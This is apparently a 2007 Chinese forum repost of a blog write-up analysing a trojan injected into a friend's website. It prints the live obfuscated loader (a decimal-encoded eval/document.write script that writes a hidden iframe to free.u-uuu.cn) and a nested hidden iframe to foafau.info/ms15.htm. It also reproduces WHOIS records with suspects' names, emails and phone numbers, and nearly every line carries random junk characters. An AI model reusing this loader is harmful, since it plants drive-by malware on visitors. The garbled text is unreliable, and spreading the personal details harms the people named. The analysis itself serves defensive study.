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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, \?o%<c5{  
khR3[ju{^  
http://www.areway.cn/?p=175 I'gnw~  
"~ /3  
\yqiv"'  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: ;Cwn1N9S  
          gOkO8P6P8  
<script>t=’60,105,102,114,97,109,101, 1;h>^NOq  
32,115,114,99,61,104,116,116,112,58,47,47, l @Ki`if  
102,114,101,101,46,117,45,117,117,117,46,99, P+/L, u  
110,47,101,114,114,111,114,46,104,116,109, gSC@uf  
32,119,105,100,116,104,61,49,48,48,32,104, Pzqgg43Xf  
101,105,103,104,116,61,48,62,60,47,105,102, kU /?#s  
114,97,109,101,62′; 1ysA~2  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> UaBR;v-.B3  
                                                                                                  kBT uM"  
<script>t=’60,105,102,114,97,109,101,32,115, b7n~z1$  
114,99,61,104,116,116,112,58,47,47,102,114, `XnFc*L 1  
101,101,46,117,45,117,117,117,46,99,110,47, Bw$-*FYE  
101,114,114,111,114,46,104,116,109,32,119, ns3k{l#  
105,100,116,104,61,49,48,48,32,104,101,105, oTL "]3`'  
103,104,116,61,48,62,60,47,105,102,114,97, 4Vs;Y&t]  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); G`n-WP  
document.write(t);</script> ]8^2(^3ct  
                                                                                                  %tMfOW  
<html xmlns=” Vf@/}=X *  
http://www.w3.org/1999/xhtml 2#R"#Q!  
“> ovl@[>OB  
<head> eZv0"FK X  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> myo/}58Nv  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> )-9/5Z0v  
<title>首页 - 爱生活家庭网 &`9lIVB,K  
                                                                                                                                                    fVkl-<?x  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 BK +JHT  
转换字符串后的大概内容是(谁点击后果自付): kO4C^pl"v  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… qHj4`&  
                                                                                                                                  |oM6(px  
查询玉米u-uuu.cn的详细信息: {r"s.|n  
Domain Name: u-uuu.cn _w26iCnB{  
ROID: 20070901s10001s64972306-cn _k}b  
Domain Status: ok ("aYjK k  
Registrant Organization: 王雷 * n[6H  
Registrant Name: 王雷 41.+3VP  
Administrative Email: czlovexs@126.com 3lJK[V{'#'  
Sponsoring Registrar: 北京万网志成科技有限公司 (*EN!-/  
Name Server:ns.yovole.com ~$cw]R58,9  
Name Server:ns1.yovole.com 6hZhD1lDG^  
Registration Date: 2007-09-01 17:54 P)H%dJ ^l  
Expiration Date: 2008-09-01 17:54 X[|>r@Aa!  
最后PING了一下地址 都没有什么…. 6e*J Cf>  
                                                                                                ^mGTZxO  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. >ko;CQR  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> ."lY>(HJ  
<script language=”javascript” src=” ED6H  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script Q.N^1?(>k  
> WgIVhj  
这个玉米应该有可能是木马作者的: < ;g0?M\  
foafau.info的详细信息: O-7 \qz  
Access to INFO WHOIS information is provided to assist persons in hOq1 "kL  
determining the contents of a domain name registration record in the ' Sl9xd  
Afilias registry database. The data in this record is provided by 1?*vqdt  
Afilias Limited for informational purposes only, and Afilias does not "}!vYr  
guarantee its accuracy.  This service is intended only for query-based ?gkK*\x2  
access. You agree that you will use this data only for lawful purposes *8Lym,]  
and that, under no circumstances will you use this data to: (a) allow, kTzZj|l^\  
enable, or otherwise support the transmission by e-mail, telephone, or PvM<#zq_  
facsimile of mass unsolicited, commercial advertising or solicitations l})uYae/  
to entities other than the data recipient’s own existing customers; or \!%3giD5!  
(b) enable high volume, automated, electronic processes that send $yt|nO  
queries or data to the systems of Registry Operator, a Registrar, or l 0 1Lg6+S  
Afilias except as reasonably necessary to register domain names or []Z6<rC|  
modify existing registrations. All rights reserved. Afilias reserves 3w-0v"j U  
the right to modify these terms at any time. By submitting this query, =gj]R  
you agree to abide by this policy. 0 cQf_o  
Domain ID:D22418703-LRMS EH[?*>+s  
Domain Name:FOAFAU.INFO Ug9o/I@}C  
Created On:20-Nov-2007 16:05:42 UTC |.,y M|  
Last Updated On:20-Nov-2007 16:05:44 UTC zR/ATm]9  
Expiration Date:20-Nov-2008 16:05:42 UTC qaUHcdH  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) v\<`"  
Status:CLIENT DELETE PROHIBITED JRG7<s $  
Status:CLIENT RENEW PROHIBITED IXH;QwR:  
Status:CLIENT TRANSFER PROHIBITED `0so)2ty+  
Status:CLIENT UPDATE PROHIBITED 5?Bi+fg  
Status:TRANSFER PROHIBITED n"Ev25%  
Registrant ID:GODA-040110615 @P8q=j}l9  
Registrant Name:liu hong -?GYW81Q  
Registrant Organization: ve>8vw2  
Registrant Street1:beijing 0!^{V:DtQ  
Registrant Street2: U$-FQRM4K  
Registrant Street3: VA]%i P,O-  
Registrant City:beijing ;eWVc;H  
Registrant State/Province: Sw0~6RZ  
Registrant Postal Code:100000 9eV@v  
Registrant Country:CN gs. K,xma  
Registrant Phone:+86.860108888777 '; qT  
Registrant Phone Ext.: Z(V 4"x7F  
Registrant FAX: rVz#;d!`z  
Registrant FAX Ext.: Wy|=F~N  
Registrant Email:bbbshiji@163.com YT-t$QyL  
Admin ID:GODA-240110615 1sgoT f%  
Admin Name:liu hong I5-/K VWb  
Admin Organization: q'W`t>2T  
Admin Street1:beijing =7$YBCuF  
Admin Street2: wi&m(f(~  
Admin Street3: `]fY9ZDKs  
Admin City:beijing wK,t q  
Admin State/Province: (g   
Admin Postal Code:100000 lte~26=e  
Admin Country:CN B^KC~W  
Admin Phone:+86.860108888777 <yIJ$nBx  
Admin Phone Ext.: LNr2YRpyz  
Admin FAX: 8I@_X~R  
Admin FAX Ext.: `OBDx ^6F  
Admin Email:bbbshiji@163.com $#0%gs/x  
Billing ID:GODA-340110615 =LuA [g  
Billing Name:liu hong $ccI(J`zux  
Billing Organization: V{(ve#y7`{  
Billing Street1:beijing Ao0F?2|  
Billing Street2: T,;6q!s=  
Billing Street3: inp=-  
Billing City:beijing ;8U NM  
Billing State/Province: `f b}cJUa  
Billing Postal Code:100000 s'i1!GNF B  
Billing Country:CN thkL<  
Billing Phone:+86.860108888777 9g>ay-W[(  
Billing Phone Ext.: 8 2_3|T  
Billing FAX: PI }A')Nq.  
Billing FAX Ext.: $o-s?";  
Billing Email:bbbshiji@163.com 73P(oVj<  
Tech ID:GODA-140110615 YRB,jwne  
Tech Name:liu hong 9 =hA#t.#  
Tech Organization: /*st,P$"  
Tech Street1:beijing }bHd U]$}  
Tech Street2: =_TCtH  
Tech Street3: ; zs4>>^>  
Tech City:beijing ^gNAGQYA  
Tech State/Province: |JrG?:n  
Tech Postal Code:100000 Z>o20uA  
Tech Country:CN TlM ]d;9G  
Tech Phone:+86.860108888777 3:S Ex;d+  
Tech Phone Ext.: >\MV/!W  
Tech FAX: ;o#dmG  
Tech FAX Ext.: R$v{ p[  
Tech Email:bbbshiji@163.com &x\u.wIa  
Name Server:NS27.DOMAINCONTROL.COM {GZHD^Ce  
Name Server:NS28.DOMAINCONTROL.COM /SZsXaC '  
Name Server: F%L^k.y$  
Name Server: 4,FuQ}  
Name Server: V5M_N;h  
Name Server: WtdWD_\%Y\  
Name Server: ;c~6^s`2  
Name Server: \Q]2Zq  
Name Server: tTC[^Dji  
Name Server: TVYO`9:CW  
Name Server: ?. CA9!|   
Name Server: +|\dVe.  
Name Server: E5.)ro=$  
                                                                                                          IaN|S|n~  
接着下载每个文件里面的代码: C <]rY  
一步一步看.. 0;o`7f  
H<"{wUPT0  
:Iw)xd1d}\  
YQ2ie>C8  
YS/{q~$t  
evZ{~v& /  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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